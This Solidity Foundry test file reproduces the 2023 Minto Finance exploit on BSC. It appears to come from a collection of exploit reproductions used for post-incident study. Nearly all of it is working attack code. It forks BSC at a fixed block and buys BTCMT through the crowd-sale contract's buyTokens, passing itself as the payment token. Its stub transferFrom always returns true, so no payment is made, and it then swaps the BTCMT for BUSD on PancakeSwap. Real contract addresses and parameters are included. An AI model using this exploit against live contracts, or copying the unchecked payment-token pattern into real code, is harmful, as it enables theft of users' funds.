src/test/2023-07/MintoFinance_exp.sol

1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.9;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~9k US$
8// Attacker :  https://bscscan.com/address/0xc5001f60db92afcc23177a6c6b440a4226cb58bf
9// Attack Contract : https://bscscan.com/address/0xba91db0b31d60c45e0b03e6d515e45fcabc7b1cd
10// Vulnerable Contract :https://bscscan.com/address/0xdbf1c56b2ad121fe705f9b68225378aa6784f3e5
11// Attack Tx :https://explorer.phalcon.xyz/tx/bsc/0x53be95dc8ffbc80060215133f76f48df35deef3cd7e1803e24b1e2f8aa53440b
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x0d116ed40831fef8e21ece57c8455ae3b1e4041b#code
14// @Analysis
15// Twitter Guy : https://twitter.com/bbbb/status/1683180340548890631?s=20
16interface ReferalCrowdSales {
17    struct LinkParameters {
18        bytes32 linkHash;
19        address linkFather;
20        address linkSon;
21        uint256 fatherPercent;
22        bytes linkSignature;
23    }
24 
25    struct PurchaseParameters {
26        bool give;
27        bool lockedPurchase;
28        address paymentToken;
29        uint256 usdtAmount;
30        uint256 btcmtAmount;
31        uint256 lockIndex;
32        uint256 expirationTime;
33        bytes buySignature;
34    }
35 
36    function buyTokens(LinkParameters memory linkParams, PurchaseParameters memory purchaseParams) external;
37}
38 
39interface PancakeRouter3 {
40    struct ExactInputSingleParams {
41        address tokenIn;
42        address tokenOut;
43        uint24 fee;
44        address recipient;
45        uint256 amountIn;
46        uint256 amountOutMinimum;
47        uint160 sqrtPriceLimitX96;
48    }
49 
50    function exactInputSingle(
51        ExactInputSingleParams memory params
52    ) external payable returns (uint256 amountOut);
53}
54 
55contract MintoFinance_exp is Test {
56    address constant BUSD = 0x55d398326f99059fF775485246999027B3197955; //correct
57    IERC20 BTCMT;
58 
59    function setUp() public {
60        vm.createSelectFork("bsc", 30_214_253);
61        BTCMT = IERC20(0x410a56541bD912F9B60943fcB344f1E3D6F09567);
62    }
63 
64    function testExploit() external {
65        console.log("BTCMT balance before the Exploit", BTCMT.balanceOf(address(this)));
66        ReferalCrowdSales.LinkParameters memory linkParams;
67        ReferalCrowdSales.PurchaseParameters memory purchaseParams;
68        linkParams.linkHash = 0xc69c51e039668f688f28f427c63cd60aa986f8ce1546039e6a302fb721473814;
69        linkParams.linkFather = 0x0000000000000000000000000000000000000000;
70        linkParams.linkSon = 0x0000000000000000000000000000000000000000;
71        linkParams.fatherPercent = 0;
72        linkParams.linkSignature = "";
73        purchaseParams.give = false;
74        purchaseParams.lockedPurchase = false;
75        purchaseParams.paymentToken = address(this);
76        purchaseParams.usdtAmount = 12_100e18;
77        purchaseParams.btcmtAmount = 0;
78        purchaseParams.expirationTime = 0;
79        purchaseParams.buySignature = "";
80 
81        ReferalCrowdSales(0xDbF1C56b2aD121Fe705f9b68225378aa6784f3e5).buyTokens(linkParams, purchaseParams);
82        uint256 balance = BTCMT.balanceOf(address(this));
83        console.log("BTCMT balance after the Exploit", balance);
84        console.log("Swap BTCMT -> BUSD through pancakeSwap");
85        BTCMT.approve(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4, type(uint256).max);
86 
87        PancakeRouter3.ExactInputSingleParams memory inputparams;
88        inputparams.tokenIn = address(BTCMT);
89        inputparams.tokenOut = BUSD;
90        inputparams.fee = uint24(100);
91        inputparams.recipient = address(this);
92        inputparams.amountIn = balance;
93        inputparams.amountOutMinimum = uint256(0);
94        inputparams.sqrtPriceLimitX96 = uint160(0);
95        PancakeRouter3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4).exactInputSingle(inputparams);
96        uint256 bUSDBalance = IERC20(BUSD).balanceOf(address(this));
97        console.log("BUSD balance after the Exploit", bUSDBalance);
98    }
99 
100    function transferFrom(address a, address b, uint256 amount) external returns (bool) {
101        return true;
102    }
103}